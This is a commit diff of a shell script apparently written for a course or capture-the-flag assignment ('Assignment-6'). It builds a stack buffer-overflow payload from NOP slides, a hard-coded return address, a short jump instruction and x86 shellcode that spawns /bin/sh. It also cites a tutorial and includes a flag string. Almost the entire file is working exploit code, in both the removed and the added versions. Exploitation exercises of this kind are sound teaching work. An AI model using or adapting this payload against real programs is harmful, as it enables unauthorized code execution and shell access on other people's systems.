Assignment-6 #3
1 changed files with 10 additions and 14 deletions
|
@ -1,16 +1,12 @@
|
|||
#!/bin/bash
|
||||
#!/usr/bin/env sh
|
||||
|
||||
# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/
|
||||
# slide for buffer size 20 + 2 bytes of saved ebp
|
||||
SLIDE_1=$(printf "\\\\x90%.0s" $(seq 1 22))
|
||||
# jump over the ret addr
|
||||
JMP_OVER_RET="\xeb\x04"
|
||||
RET_ADDR="\x08\xdc\xff\xff"
|
||||
# main nop slide (500 Bytes)
|
||||
SLIDE_2=$(printf "\\\\x90%.0s" $(seq 1 500))
|
||||
SHELLCODE="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
|
||||
|
||||
# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}
|
||||
|
||||
######### Exploit #########
|
||||
# Step 1: Fill the buffer with a candidate return address
|
||||
printf "\x0c\xd6\xff\xff%.0s" {1..30}
|
||||
|
||||
# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode
|
||||
printf "\x90%.0s" {1..2000}
|
||||
|
||||
# Step 3: Write the provided shellcode to stdout
|
||||
printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
|
||||
###########################
|
||||
printf $SLIDE_1$JMP_OVER_RET$RET_ADDR$SLIDE_2$SHELLCODE
|
||||
|
|
Loading…
Reference in a new issue